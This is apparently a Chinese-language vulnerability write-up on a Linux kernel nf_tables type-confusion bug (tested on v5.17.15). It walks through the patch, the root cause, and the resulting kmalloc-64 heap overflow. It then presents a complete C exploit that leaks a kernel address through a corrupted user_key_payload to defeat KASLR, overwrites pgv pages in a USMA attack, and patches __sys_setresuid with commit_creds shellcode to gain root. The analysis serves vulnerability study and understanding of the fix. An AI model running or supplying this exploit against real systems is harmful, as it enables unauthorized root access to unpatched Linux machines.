前言
测试版本:v5.17.15
编译选项:
CONFIG_NF_TABLES=y
CONFIG_NETFILTER_NETLINK=y
CONFIG_BINFMT_MISC=y
CONFIG_USER_NS=y
CONFIG_E1000=y
CONFIG_E1000E=y
漏洞分析
patch 如下:
diff --git a/net/netfilter/nf_tables_api.c b/net/netfilter/nf_tables_api.c
index 51144fc66889b..d6b59beab3a98 100644
--- a/net/netfilter/nf_tables_api.c
+++ b/net/netfilter/nf_tables_api.c
@@ -5213,13 +5213,20 @@ static int nft_setelem_parse_data(struct nft_ctx *ctx, struct nft_set *set,
struct nft_data *data,
struct nlattr *attr)
{
+ u32 dtype;
int err;
err = nft_data_init(ctx, data, NFT_DATA_VALUE_MAXLEN, desc, attr);
if (err < 0)
return err;
- if (desc->type != NFT_DATA_VERDICT && desc->len != set->dlen) {
+ if (set->dtype == NFT_DATA_VERDICT)
+ dtype = NFT_DATA_VERDICT;
+ else
+ dtype = NFT_DATA_VALUE;
+
+ if (dtype != desc->type ||
+ set->dlen != desc->len) {
nft_data_release(data, desc->type);
return -EINVAL;
可以看到 patch
主要打在了 nft_setelem_parse_data
函数中,其主要修改了相关检查方式:
static int nft_setelem_parse_data(struct nft_ctx *ctx,
struct nft_set *set,
struct nft_data_desc *desc,
struct nft_data *data,
struct nlattr *attr)
{
int err;
// NFT_DATA_VALUE_MAXLEN = 64
// 解析 attr 属性到 data 中,并设置 desc
err = nft_data_init(ctx, data, NFT_DATA_VALUE_MAXLEN, desc, attr);
if (err < 0) return err;
// 如果 type 不是 NFT_DATA_VERDICT ,则需要检查 desc->len ?= set->dlen
// 这里可以想一下:
// 1、为什么 type != NFT_DATA_VERDICT 时,需要检查 desc->len ?= set->dlen?
// 2、如果 desc->len != set->dlen 通过了检查,后面会出现什么问题呢?
// 3、为什么 type == NFT_DATA_VERDICT 时,就不需要检查 desc->len ?= set->dlen?
if (desc->type != NFT_DATA_VERDICT && desc->len != set->dlen) {
nft_data_release(data, desc->type);
return -EINVAL;
}
return 0;
}
nft_data_init
函数主要就是解析添加 elem
的类型:
/**
* enum nft_data_attributes - nf_tables data netlink attributes
*
* @NFTA_DATA_VALUE: generic data (NLA_BINARY)
* @NFTA_DATA_VERDICT: nf_tables verdict (NLA_NESTED: nft_verdict_attributes)
*/
enum nft_data_attributes {
NFTA_DATA_UNSPEC,
NFTA_DATA_VALUE,
NFTA_DATA_VERDICT,
__NFTA_DATA_MAX
};
#define NFTA_DATA_MAX (__NFTA_DATA_MAX - 1)
/**
* nft_data_init - parse nf_tables data netlink attributes
*
* @ctx: context of the expression using the data
* @data: destination struct nft_data
* @size: maximum data length
* @desc: data description
* @nla: netlink attribute containing data
*
* Parse the netlink data attributes and initialize a struct nft_data.
* The type and length of data are returned in the data description.
*
* The caller can indicate that it only wants to accept data of type
* NFT_DATA_VALUE by passing NULL for the ctx argument.
*/
int nft_data_init(const struct nft_ctx *ctx,
struct nft_data *data, unsigned int size, // size = 64
struct nft_data_desc *desc, const struct nlattr *nla)
{
struct nlattr *tb[NFTA_DATA_MAX + 1];
int err;
// 解析嵌套 nla 属性到 tb 数组中
err = nla_parse_nested_deprecated(tb, NFTA_DATA_MAX, nla, nft_data_policy, NULL);
if (err < 0) return err;
// 处理 NFTA_DATA_VALUE 属性
if (tb[NFTA_DATA_VALUE])
return nft_value_init(ctx, data, size, desc, tb[NFTA_DATA_VALUE]);
// 处理 NFTA_DATA_VERDICT 属性
if (tb[NFTA_DATA_VERDICT] && ctx != NULL)
return nft_verdict_init(ctx, data, desc, tb[NFTA_DATA_VERDICT]);
return -EINVAL;
}
如果添加元素是 NFTA_DATA_VALUE
则调用 nft_value_init
函数:
static int nft_value_init(const struct nft_ctx *ctx,
struct nft_data *data, unsigned int size,
struct nft_data_desc *desc, const struct nlattr *nla)
{
unsigned int len;
len = nla_len(nla); // 属性长度
if (len == 0) return -EINVAL;
if (len > size) return -EOVERFLOW; // size = 64
// 拷贝 nlattr 数据到 data->data 中
nla_memcpy(data->data, nla, len);
// 对于 NFT_DATA_VALUE 类型,desc->len = nla_len(nla)
desc->type = NFT_DATA_VALUE;
desc->len = len;
return 0;
}
如果添加元素是 NFT_DATA_VERDICT
则调用 nft_verdict_init
函数:
/**
* enum nft_verdict_attributes - nf_tables verdict netlink attributes
*
* @NFTA_VERDICT_CODE: nf_tables verdict (NLA_U32: enum nft_verdicts)
* @NFTA_VERDICT_CHAIN: jump target chain name (NLA_STRING)
* @NFTA_VERDICT_CHAIN_ID: jump target chain ID (NLA_U32)
*/
enum nft_verdict_attributes {
NFTA_VERDICT_UNSPEC,
NFTA_VERDICT_CODE,
NFTA_VERDICT_CHAIN,
NFTA_VERDICT_CHAIN_ID,
__NFTA_VERDICT_MAX
};
#define NFTA_VERDICT_MAX (__NFTA_VERDICT_MAX -
static int nft_verdict_init(const struct nft_ctx *ctx, struct nft_data *data,
struct nft_data_desc *desc, const struct nlattr *nla)
{
u8 genmask = nft_genmask_next(ctx->net);
struct nlattr *tb[NFTA_VERDICT_MAX + 1];
struct nft_chain *chain;
int err;
// 处理 nla 迭代属性到 tb 中
err = nla_parse_nested_deprecated(tb, NFTA_VERDICT_MAX, nla, nft_verdict_policy, NULL);
if (err < 0) return err;
if (!tb[NFTA_VERDICT_CODE]) return -EINVAL;
// 获取 verdict.code
data->verdict.code = ntohl(nla_get_be32(tb[NFTA_VERDICT_CODE]));
switch (data->verdict.code) {
default:
switch (data->verdict.code & NF_VERDICT_MASK) {
case NF_ACCEPT:
case NF_DROP:
case NF_QUEUE:
break;
default:
return -EINVAL;
}
fallthrough;
case NFT_CONTINUE:
case NFT_BREAK:
case NFT_RETURN:
break;
// 如果是 JUMP/GOTO 则需要设置 target chain
case NFT_JUMP:
case NFT_GOTO:
if (tb[NFTA_VERDICT_CHAIN]) {
chain = nft_chain_lookup(ctx->net, ctx->table, tb[NFTA_VERDICT_CHAIN], genmask);
} else if (tb[NFTA_VERDICT_CHAIN_ID]) {
chain = nft_chain_lookup_byid(ctx->net, tb[NFTA_VERDICT_CHAIN_ID]);
if (IS_ERR(chain)) return PTR_ERR(chain);
} else {
return -EINVAL;
}
if (IS_ERR(chain) return PTR_ERR(chain);
// 必须得是 base_chain???
if (nft_is_base_chain(chain)) return -EOPNOTSUPP;
chain->use++;
data->verdict.chain = chain;
break;
}
// 当为 NFT_DATA_VERDICT 时,desc->len = 16
desc->len = sizeof(data->verdict);
desc->type = NFT_DATA_VERDICT;
return 0;
}
要回答上面那三个问题,我们得先看下 set->len
的值是如何被设置的,set->dlen
的值是在其被创建时确定的,创建 set
的函数为 nf_tables_newset
:
static int nf_tables_newset(struct sk_buff *skb, const struct nfnl_info *info,
const struct nlattr * const nla[])
{
......
dtype = 0;
// 设置 data 的类型
if (nla[NFTA_SET_DATA_TYPE] != NULL) {
if (!(flags & NFT_SET_MAP))
return -EINVAL;
dtype = ntohl(nla_get_be32(nla[NFTA_SET_DATA_TYPE]));
// 不是正确的 NFT_DATA_VERDICT 类型
if ((dtype & NFT_DATA_RESERVED_MASK) == NFT_DATA_RESERVED_MASK && dtype != NFT_DATA_VERDICT)
return -EINVAL;
// 数据类型
if (dtype != NFT_DATA_VERDICT) {
if (nla[NFTA_SET_DATA_LEN] == NULL) return -EINVAL;
// NFT_DATA_VALUE_MAXLEN = 64
// 对于数据类型,这里的 desc.len 是用户可控的,在 [1, 64] 之间
desc.dlen = ntohl(nla_get_be32(nla[NFTA_SET_DATA_LEN]));
if (desc.dlen == 0 || desc.dlen > NFT_DATA_VALUE_MAXLEN)
return -EINVAL;
} else
// verdict 类型,可以看到对于 verdict 类型
// : 这里的 desc->dlen = 16 是固定的,所以后面的 set->dlen = 16 也是固定的
desc.dlen = sizeof(struct nft_verdict);
} else if (flags & NFT_SET_MAP)
return -EINVAL;
......
set->dlen = desc.dlen;
......
这里就可以回答第 1/3
个问题了,可以看到对于 NFT_DATA_VERDICT
而言,其 set->dlen = 16
,而 desc->len = 16
,所以这里是肯定相等的,因此不需要进行检查
// 1、为什么 type != NFT_DATA_VERDICT 时,需要检查 desc->len ?= set->dlen?
// 2、如果 desc->len != set->dlen 通过了检查,后面会出现什么问题呢?
// 3、为什么 type == NFT_DATA_VERDICT 时,就不需要检查 desc->len ?= set->dlen?
if (desc->type != NFT_DATA_VERDICT && desc->len != set->dlen) {
...... return err
}
而对于 NFTA_DATA_VALUE
类型而言,set->dlen
在 [1, 64]
之间, 其是用户可控的;而 desc->len
也在 [1, 64]
之间,其也是用户可控的,所以这里需要进行检查,如果两者相等则表明是同一种类型,但这里的检查是存在缺陷的。
这里本质上是一个类型混淆的漏洞,对于 set
而言,其元素的类型应当是相同的,这里判断元素是否相同的方式是比较 set->dlen
与 desc->len
,如果两者相等,则表明其元素类型是合法的,否则不合法。然后这里对 NFT_DATA_VERDICT
元素类型进行了特判,其认为:如果 set
的元素类型是 NFT_DATA_VERDICT
,那么其 set->dlen = 16
,而在后续往 set
中添加 NFT_DATA_VERDICT
元素时,其 desc->len = 16
,所以不需要进行检查。而对于 NFT_DATA_VALUE
类型的 set
,其只需要通过 set->dlen
与 dese->len
的大小关系即可判断,比如创建 set
时定义其元素类型为 2
字节即 set->dlen = 2
,而为 set
添加元素时传入的元素类型为 6
字节即 desc->len = 6
,此时由于是 NFT_DATA_VALUE
类型,则会进行检查,发现其不相等则表明传入的元素类型不正确。
......
if (desc->type != NFT_DATA_VERDICT && desc->len != set->dlen) { // 【2】
......
但是这里忽略了一个问题:如果用户往 NFT_DATA_VALUE
元素类型的 set
中传入 NFT_DATA_VERDICT
类型的元素呢?此时 desc->type = NFT_DATA_VERDICT
,于是上面的 【2】
就被绕过了,此时可能出现 desc->len != set->dlen
,当然此时由于传入的是 NFT_DATA_VERDICT
类型,所以 desc->len = 16
是固定的。
现在就剩下第 2
个问题了,如果 desc->len != set->dlen
通过了检查,会出现什么问题?这里得看看上层是哪个函数调用了 nft_setelem_parse_data
函数,通过交叉引用可以发现上层只有 nft_add_set_elem
调用了改函数:
static int nft_add_set_elem(struct nft_ctx *ctx, struct nft_set *set,
const struct nlattr *attr, u32 nlmsg_flags)
{
struct nft_expr *expr_array[NFT_SET_EXPR_MAX] = {};
struct nlattr *nla[NFTA_SET_ELEM_MAX + 1];
u8 genmask = nft_genmask_next(ctx->net);
u32 flags = 0, size = 0, num_exprs = 0;
struct nft_set_ext_tmpl tmpl;
struct nft_set_ext *ext, *ext2;
struct nft_set_elem elem;
struct nft_set_binding *binding;
struct nft_object *obj = NULL;
struct nft_userdata *udata;
struct nft_data_desc desc;
enum nft_registers dreg;
struct nft_trans *trans;
u64 timeout;
u64 expiration;
int err, i;
u8 ulen;
err = nla_parse_nested_deprecated(nla, NFTA_SET_ELEM_MAX, attr, nft_set_elem_policy, NULL);
if (err < 0) return err;
nft_set_ext_prepare(&tmpl);
......
if (nla[NFTA_SET_ELEM_DATA] != NULL) {
err = nft_setelem_parse_data(ctx, set, &desc, &elem.data.val, nla[NFTA_SET_ELEM_DATA]);
if (err < 0) goto err_parse_key_end;
dreg = nft_type_to_reg(set->dtype);
......
// 设置 tmpl
nft_set_ext_add_length(&tmpl, NFT_SET_EXT_DATA, desc.len); // 【1】四字节对齐
}
......
err = -ENOMEM;
elem.priv = nft_set_elem_init(set, &tmpl, elem.key.val.data,
elem.key_end.val.data, elem.data.val.data,
timeout, expiration, GFP_KERNEL); // 【2】
if (elem.priv == NULL)
goto err_parse_data;
......
}
在 【1】
处更新了 tmpl
相关的值:
/**
* struct nft_set_ext_tmpl - set extension template
*
* @len: length of extension area
* @offset: offsets of individual extension types
*/
struct nft_set_ext_tmpl {
u16 len;
u8 offset[NFT_SET_EXT_NUM];
};
static inline void nft_set_ext_add_length(struct nft_set_ext_tmpl *tmpl,
u8 id, unsigned int len) //len = desc.len
{
tmpl->len = ALIGN(tmpl->len, nft_set_ext_types[id].align);
BUG_ON(tmpl->len > U8_MAX);
tmpl->offset[id] = tmpl->len;
tmpl->len += nft_set_ext_types[id].len + len; // + desc.len
}
然后这里主要来看 【2】
处,nft_set_elem_init
函数主要就是用来初始化 elem
的私有数据:
/**
* struct nft_set_ext - set extensions
*
* @genmask: generation mask
* @offset: offsets of individual extension types
* @data: beginning of extension data
*/
struct nft_set_ext {
u8 genmask;
u8 offset[NFT_SET_EXT_NUM];
char data[];
};
void *nft_set_elem_init(const struct nft_set *set,
const struct nft_set_ext_tmpl *tmpl,
const u32 *key, const u32 *key_end,
const u32 *data, u64 timeout, u64 expiration, gfp_t gfp)
{
struct nft_set_ext *ext;
void *elem;
// 分配 elem 空间
elem = kzalloc(set->ops->elemsize + tmpl->len, gfp); // 【1】gfp = GFP_KERNEL
if (elem == NULL) return NULL;
ext = nft_set_elem_ext(set, elem); // return elem + set->ops->elemsize;
nft_set_ext_init(ext, tmpl); // memcpy(ext->offset, tmpl->offset, sizeof(ext->offset));
if (nft_set_ext_exists(ext, NFT_SET_EXT_KEY))
memcpy(nft_set_ext_key(ext), key, set->klen); // 设置 key
if (nft_set_ext_exists(ext, NFT_SET_EXT_KEY_END))
memcpy(nft_set_ext_key_end(ext), key_end, set->klen); // 设置 key
if (nft_set_ext_exists(ext, NFT_SET_EXT_DATA))
// nft_set_ext_data(ext) = (void *)ext + ext->offset[NFT_SET_EXT_DATA];
memcpy(nft_set_ext_data(ext), data, set->dlen); // 这里是 set->dlen 【2】
if (nft_set_ext_exists(ext, NFT_SET_EXT_EXPIRATION)) { // 这个应该不存在,不然溢出就没效果了
*nft_set_ext_expiration(ext) = get_jiffies_64() + expiration;
if (expiration == 0)
*nft_set_ext_expiration(ext) += timeout;
}
if (nft_set_ext_exists(ext, NFT_SET_EXT_TIMEOUT))
*nft_set_ext_timeout(ext) = timeout;
return elem;
}
可以看到这里 【1】
分配的大小为 eelemsize + others + desc->len
,而在 【2】
处复制 data
时使用的是 set->dlen
,这里的 data
就是用户传入的元素。所以这里就回答了如果 set->dlen != desc->len
会产生的问题,之前分析过我们可以利用:创建一个 NFT_DATA_VALUE
元素类型的 set
,然后向该 set
中添加 NFT_DATA_VERDICT
类型的元素,即可绕过检查,这里 desc->len = 16
,而 set->dlen
的范围在 [1, 64]
之间,所以如果 set->dlen
的值大于 16
,则可能发生堆溢出,理论上我们最多可以溢出 48
字节。
可以看到这里分配堆块的大小为:
elem = kzalloc(set->ops->elemsize + tmpl->len, GFP_KERNEL);
这里 tmpl->len
我们是部分可控的:
static int nft_add_set_elem(struct nft_ctx *ctx, struct nft_set *set,
const struct nlattr *attr, u32 nlmsg_flags)
{
......
struct nft_set_ext_tmpl tmpl;
......
nft_set_ext_prepare(&tmpl); // 【1】 ==> tmpl->len = 0xa = 10
......
if (nla[NFTA_SET_ELEM_KEY]) {
err = nft_setelem_parse_key(ctx, set, &elem.key.val, nla[NFTA_SET_ELEM_KEY]);
if (err < 0) goto err_set_elem_expr;
nft_set_ext_add_length(&tmpl, NFT_SET_EXT_KEY, set->klen); // klen_max = 64,4字节对齐
}
if (nla[NFTA_SET_ELEM_KEY_END]) {
err = nft_setelem_parse_key(ctx, set, &elem.key_end.val, nla[NFTA_SET_ELEM_KEY_END]);
if (err < 0) goto err_parse_key;
nft_set_ext_add_length(&tmpl, NFT_SET_EXT_KEY_END, set->klen); // klen_max = 64,4字节对齐
}
......
if (num_exprs) {
for (i = 0; i < num_exprs; i++)
size += expr_array[i]->ops->size;
nft_set_ext_add_length(&tmpl, NFT_SET_EXT_EXPRESSIONS, sizeof(struct nft_set_elem_expr) + size);
}
......
{
......
nft_set_ext_add_length(&tmpl, NFT_SET_EXT_DATA, desc.len); // ,4字节对齐
}
/* The full maximum length of userdata can exceed the maximum
* offset value (U8_MAX) for following extensions, therefor it
* must be the last extension added.
*/
ulen = 0;
if (nla[NFTA_SET_ELEM_USERDATA] != NULL) {
ulen = nla_len(nla[NFTA_SET_ELEM_USERDATA]);
if (ulen > 0)
nft_set_ext_add_length(&tmpl, NFT_SET_EXT_USERDATA, ulen); // 8字节对齐,+8
}
......
这里我们不使用 NFTA_SET_ELEM_USERDATA
,所以这里分配的大小为:
set->ops->elemsize + 12 + others
但是 set->ops->elemsize
却是不可控的,对于 set->ops
其在创建 set
时被设置:
static const struct nft_set_type *nft_set_types[] = {
&nft_set_hash_fast_type,
&nft_set_hash_type,
&nft_set_rhash_type,
&nft_set_bitmap_type,
&nft_set_rbtree_type,
#if defined(CONFIG_X86_64) && !defined(CONFIG_UML)
&nft_set_pipapo_avx2_type,
#endif
&nft_set_pipapo_type,
};
#define NFT_SET_FEATURES (NFT_SET_INTERVAL | NFT_SET_MAP | \
NFT_SET_TIMEOUT | NFT_SET_OBJECT | \
NFT_SET_EVAL)
static bool nft_set_ops_candidate(const struct nft_set_type *type, u32 flags)
{
return (flags & type->features) == (flags & NFT_SET_FEATURES);
}
/*
* Select a set implementation based on the data characteristics and the
* given policy. The total memory use might not be known if no size is
* given, in that case the amount of memory per element is used.
*/
static const struct nft_set_ops *
nft_select_set_ops(const struct nft_ctx *ctx,
const struct nlattr * const nla[],
const struct nft_set_desc *desc,
enum nft_set_policies policy)
{
......
for (i = 0; i < ARRAY_SIZE(nft_set_types); i++) {
type = nft_set_types[i];
ops = &type->ops;
if (!nft_set_ops_candidate(type, flags)) // <====== choose ops
......
}
这里我们构造 NFT_SET_MAP
类型的 set
,此时调试发现,其使用的是 nft_set_rhash_type
:
其对应的 ops->elemsize = 8
:
所以最后分配的堆块大小为:注意这里是四字节对齐的
elem = kzalloc(8 + 12 + key_len + 16, GFP_KERNEL);
所以这里我们可以通过 ken_len
去控制分配堆块的大小
漏洞利用
在漏洞分析中说了我们分配的大小为:20 + key_len + 16
,这里可以通过 key_len
去控制分配堆块的大小,这里我选择的是 kmalloc-64
,之所以选择 kmalloc-64
是因为后面笔者使用的是 USMA
攻击,然后涉及到堆喷 pgv
,如果堆块过大,则需要分配的页面就比较多,此时可能内存吃不消
确定了目标堆块的大小,接下来就是去考虑该如果精确控制溢出数据,这里往堆块上拷贝的数据为 data
:
if (nft_set_ext_exists(ext, NFT_SET_EXT_DATA))
// nft_set_ext_data(ext) = (void *)ext + ext->offset[NFT_SET_EXT_DATA];
memcpy(nft_set_ext_data(ext), data, set->dlen); // 这里是 set->dlen 【2】
这里向上引用,可以发现 data
是一个栈上的局部变量:
static int nft_add_set_elem(struct nft_ctx *ctx, struct nft_set *set, const struct nlattr *attr, u32 nlmsg_flags)
{
struct nft_set_elem elem;
......
elem.priv = nft_set_elem_init(set, &tmpl, elem.key.val.data,
elem.key_end.val.data, elem.data.val.data, // elem.data.val.data ⇒ data
timeout, expiration, GFP_KERNEL);
......
这里的 elem
是一个栈上的局部变量,其中 struct nft_set_elem
结构体如下:
/**
* struct nft_set_elem - generic representation of set elements
*
* @key: element key
* @key_end: closing element key
* @priv: element private data and extensions
*/
struct nft_set_elem {
union {
u32 buf[NFT_DATA_VALUE_MAXLEN / sizeof(u32)];
struct nft_data val;
} key;
union {
u32 buf[NFT_DATA_VALUE_MAXLEN / sizeof(u32)];
struct nft_data val;
} key_end;
union {
u32 buf[NFT_DATA_VALUE_MAXLEN / sizeof(u32)];
struct nft_data val;
} data;
void *priv;
};
该结构体的大小为 64 + 8 = 72
字节,然后继续往上查找引用:
static int nf_tables_newsetelem(struct sk_buff *skb, const struct nfnl_info *info, const struct nlattr * const nla[])
{
......
nla_for_each_nested(attr, nla[NFTA_SET_ELEM_LIST_ELEMENTS], rem) { // 变量嵌套属性
err = nft_add_set_elem(&ctx, set, attr, info->nlh->nlmsg_flags);
if (err < 0)
return err;
}
......
可以看到这里对每个属性都会调用 nft_add_set_elem
函数,那么每次调用 nft_add_set_elem
的栈帧都是相同的,所以这里我们可以先去填充 elem
的数据,然后在触发漏洞即可写入我们设置的值
那么这里我们的原语就是 kmalloc-64 GFP_KERNEL
堆溢出 0~48
字节。利用思路如下:
- 堆溢出修改
user_key_payload.datalen
实现越界读bypass kaslr
- 堆溢出修改
pgv
数组实现USMA
攻击
exploit
如下:没有调整堆喷策略,所以成功率比较低
#ifndef _GNU_SOURCE
#define _GNU_SOURCE
#endif
#include <time.h>
#include <stdlib.h>
#include <string.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <sys/mman.h>
#include <netinet/in.h>
#include <libmnl/libmnl.h>
#include <libnftnl/table.h>
#include <libnftnl/chain.h>
#include <libnftnl/rule.h>
#include <libnftnl/expr.h>
#include <linux/limits.h>
#include <linux/netfilter.h>
#include <linux/netfilter/nf_tables.h>
#include <netinet/ip.h>
#include <netinet/tcp.h>
#include <pthread.h>
#include <inttypes.h>
#include <sched.h>
#include <sys/syscall.h>
#include <unistd.h>
#include <stdio.h>
#include <fcntl.h>
#include <inttypes.h>
#include <stdarg.h>
#include "netlink.h"
struct verdict_data {
uint32_t code;
void *chain;
};
#define INIT_CRED "0xffffffff81000000"
#define COMMIT_CREDS "0xffffffff81000001"
#define KPTI_TRAMPOLINE "0xffffffff81000002"
#define SHELL "0x1234567832165478"
#define CS "0x33"
#define RFLAGS "0x246"
#define STACK "0x1234567887654321"
#define SS "0x2b"
#define ZERO "0"
#define evil "sub rsp, 0x300;\nmov rdi, "INIT_CRED";\nmov rax, "COMMIT_CREDS";\ncall rax;\npush "SS";\nmov rax, "STACK";\npush rax;\npush "RFLAGS";\npush "CS";\nmov rax, "SHELL";\npush rax;\npush "ZERO";\nmov rax, "KPTI_TRAMPOLINE";\ncall rax;"
#define NOP "nop;"
void rootkit();
void GUARD();
asm("rootkit:"
evil);
asm("GUARD:"
NOP);
size_t user_cs, user_ss, user_rflags, user_sp;
void save_status()
{
asm volatile (
"mov user_cs, cs;"
"mov user_ss, ss;"
"mov user_sp, rsp;"
"pushf;"
"pop user_rflags;"
);
puts("\033[34m\033[1m[*] Status has been saved.\033[0m");
}
int main() {
int pipe_fd[2];
if (pipe(pipe_fd) < 0) fail_exit("pipe()");
pid_t pid = fork();
if (!pid) {
puts("[+] Let's get it!!!");
unshare_setup();
save_status();
system("ip link set dev lo up");
system("ip addr");
puts("");
puts("=================== Bypass KASLR ==============");
uint64_t koffset = -1;
uint64_t kbase = 0xffffffff81000000;
#define KEY_NUMS 0x30
char desc[0x20] = { 0 };
int key_ids[KEY_NUMS] = { 0 };
char elem_key[30] = { 0 };
char payload[0x100] = { 0 };
char overwrite_data[0x100] = { 0 };
char buf[0x10000] = { 0 };
int res, evil_key = -1;
struct verdict_data* verdict = payload;
char *table_name = "evil_table";
char *set_name = "evil_set";
create_table(table_name);
create_set(table_name, set_name, 28, 16+0x28, 1);
for (int i = 0; i < KEY_NUMS; i++) {
sprintf(desc, "%s%d", "X", i);
key_ids[i] = key_alloc(desc, payload, 28);
}
elem_key[0] = 1;
memset(payload, 0, sizeof(payload));
memset(overwrite_data, '\xff', sizeof(overwrite_data));
verdict->code = NFT_CONTINUE;
set_elem(table_name, set_name, elem_key, verdict, 16+0x28, overwrite_data);
for (int i = 0; i < KEY_NUMS; i++) {
res = key_read(key_ids[i], buf, 0xffff);
if (res > 28) {
evil_key = i;
break;
}
}
if (evil_key == -1)
err_exit("Failed to overwrite user_key_payload.datalen");
printf("[+] evil key: %d\n", evil_key);
for (int i = 0; i < KEY_NUMS; i++) {
if (i != evil_key)
key_revoke(key_ids[i]);
}
res = key_read(key_ids[evil_key], buf, 0xffff);
printf("[+] key_read datalen: %#x\n", res);
// binary_dump("LEAK DATA", buf, 0x200);
uint64_t *ptr = (uint64_t*)buf;
uint64_t target = 0xffffffff81572e10;
for (int i = 0; i < res / 8; i++) {
if ((ptr[i]&0xfff) == 0xe10 && ptr[i] > kbase) {
koffset = ptr[i] - target;
kbase += koffset;
break;
}
}
printf("[+] koffset: %#llx\n", koffset);
printf("[+] kbase: %#llx\n\n", kbase);
puts("===================== LPE =====================");
#define PGV_NUMS 0x30
uint64_t commit_creds = 0xffffffff810fc260 + koffset;
uint64_t init_cred = 0xffffffff82a8b140 + koffset;
uint64_t kpti_trampoline = 0xffffffff82000ff0+27 + koffset;
uint64_t __sys_setresuid = 0xffffffff810e6ed0 + koffset;
uint64_t modprobe_path = 0xffffffff82a8c240 + koffset;
printf("[+] modprobe_path: %#llx\n", modprobe_path);
printf("[+] __sys_setresuid: %#llx\n", __sys_setresuid);
int pgv_ids[PGV_NUMS] = { 0 };
for (int i = 0; i < PGV_NUMS; i++) {
pgv_ids[i] = pagealloc_pad(5, 0x1000);
}
for (int i = 0; i < PGV_NUMS; i += 3) {
close(pgv_ids[i]);
}
elem_key[0] += 1;
memset(payload, 0, sizeof(payload));
*(uint64_t*)(overwrite_data + 0 * 8) = modprobe_path & (~0xfff);
*(uint64_t*)(overwrite_data + 1 * 8) = modprobe_path & (~0xfff);
*(uint64_t*)(overwrite_data + 2 * 8) = modprobe_path & (~0xfff);
for (int i = 3; i < sizeof(overwrite_data) / 8; i++)
*(uint64_t*)(overwrite_data + i * 8) = __sys_setresuid & (~0xfff);
verdict->code = NFT_CONTINUE;
set_elem(table_name, set_name, elem_key, verdict, 16+0x28, overwrite_data);
char *page = NULL, *str = NULL;
for (int i = 0; i < PGV_NUMS; i++) {
if (i % 3 != 0) {
page = mmap(NULL, 0x1000*5, PROT_READ|PROT_WRITE, MAP_SHARED, pgv_ids[i], 0);
if (page == -1) continue;
str = page + (modprobe_path & 0xfff);
if (!strcmp(str, "/sbin/modprobe")) {
puts("[+] USMA attack successfully");
break;
}
munmap(page, 0x1000*5);
str = NULL;
}
}
if (str == NULL) err_exit("Failed USMA");
str = page + 0x1000 + (__sys_setresuid & 0xfff) + 5;
char shellcode[0x200] = { 0 };
uint64_t length = GUARD - rootkit;
memcpy(shellcode, rootkit, length);
*(uint32_t*)(shellcode+3+7) = init_cred;
*(uint32_t*)(shellcode+10+7) = commit_creds;
*(uint64_t*)(shellcode+20+7) = user_sp & (~0xff);
*(uint64_t*)(shellcode+38+7) = get_root_shell;
*(uint32_t*)(shellcode+59) = kpti_trampoline;
printf("[+] shellcode length: %#x <==> %d\n", length, length);
binary_dump("shellcode", shellcode, length);
memcpy(str, shellcode, length);
write(pipe_fd[1], "A", 1);
exit(0);
} else if (pid < 0) {
fail_exit("fork()");
} else {
char buf[1];
read(pipe_fd[0], buf, 1);
puts("[+] Try to LPE");
setresuid(0, 0, 0);
puts("[+] EXP NERVER END");
exit(0);
}
return 0;
}
效果如下:
修复
diff --git a/net/netfilter/nf_tables_api.c b/net/netfilter/nf_tables_api.c
index 51144fc66889b..d6b59beab3a98 100644
--- a/net/netfilter/nf_tables_api.c
+++ b/net/netfilter/nf_tables_api.c
@@ -5213,13 +5213,20 @@ static int nft_setelem_parse_data(struct nft_ctx *ctx, struct nft_set *set,
struct nft_data *data,
struct nlattr *attr)
{
+ u32 dtype;
int err;
err = nft_data_init(ctx, data, NFT_DATA_VALUE_MAXLEN, desc, attr);
if (err < 0)
return err;
- if (desc->type != NFT_DATA_VERDICT && desc->len != set->dlen) {
+ if (set->dtype == NFT_DATA_VERDICT)
+ dtype = NFT_DATA_VERDICT;
+ else
+ dtype = NFT_DATA_VALUE;
+
+ if (dtype != desc->type ||
+ set->dlen != desc->len) {
nft_data_release(data, desc->type);
return -EINVAL;
这里对 NFT_DATA_VERDICT
也进行判断,但是我们知道 NFT_DATA_VERDICT
的类型大小为 16
字节,而 NFT_DATA_VALUE
的大小也可以是 16
字节。所以单纯的通过 set->dlen ?= desc->len
是无法进行区分的 NFT_DATA_VERDICT
和 NFT_DATA_VALUE
的,因此这里还比较了 set->dtype ?= desc->type
。
总结
该漏洞个人感觉即清楚又隐秘,从自己分析漏洞的过程来看,在审计代码时还是得多问问自己:为什么这里要这样?而哪里却不用这样?